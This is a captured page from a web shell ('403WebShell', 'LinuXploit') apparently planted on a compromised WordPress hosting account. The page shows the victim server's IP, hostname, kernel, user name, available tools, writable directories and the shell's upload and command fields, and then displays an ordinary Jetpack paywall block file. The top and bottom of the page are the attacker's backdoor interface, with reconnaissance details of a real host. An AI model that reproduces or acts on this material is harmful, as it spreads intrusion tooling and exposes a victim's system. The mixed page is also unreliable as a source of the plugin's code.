Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.135.208.236
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/jetpack/extensions/blocks/paywall/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/jetpack/extensions/blocks/paywall/paywall.php
<?php
/**
 * Paywall Block.
 *
 * @since 12.5
 *
 * @package automattic/jetpack
 */

namespace Automattic\Jetpack\Extensions\Paywall;

use Automattic\Jetpack\Blocks;

const FEATURE_NAME      = 'paywall';
const BLOCK_NAME        = 'jetpack/' . FEATURE_NAME;
const BLOCK_HTML        = '<!-- wp:' . BLOCK_NAME . ' /-->';
const THE_EXCERPT_BLOCK = '[[[[[' . BLOCK_NAME . ']]]]]';

/**
 * Registers the block for use in Gutenberg
 * This is done via an action so that we can disable
 * registration if we need to.
 */
function register_block() {
	if ( ! \Jetpack::is_module_active( 'subscriptions' ) ) {
		return;
	}
	if ( ! class_exists( '\Jetpack_Memberships' ) ) {
		return;
	}

	Blocks::jetpack_register_block(
		__DIR__,
		array(
			'render_callback' => __NAMESPACE__ . '\render_block',
		)
	);
}
add_action( 'init', __NAMESPACE__ . '\register_block' );

/**
 * Paywall block render callback.
 *
 * @return string
 */
function render_block() {
	if ( doing_filter( 'get_the_excerpt' ) ) {
		if ( \Jetpack_Memberships::user_can_view_post() ) {
			return '';
		}
		return THE_EXCERPT_BLOCK;
	}
	return '';
}

/**
 * Adds the Paywall block to excerpt allowed blocks.
 *
 * @param array $allowed_blocks The allowed blocks.
 *
 * @return array The allowed blocks.
 */
function excerpt_allowed_blocks( $allowed_blocks ) {
	return array_merge( $allowed_blocks, array( Blocks::get_block_name( __DIR__ ) ) );
}
add_filter( 'excerpt_allowed_blocks', __NAMESPACE__ . '\excerpt_allowed_blocks' );

Youez - 2016 - github.com/yon3zu
LinuXploit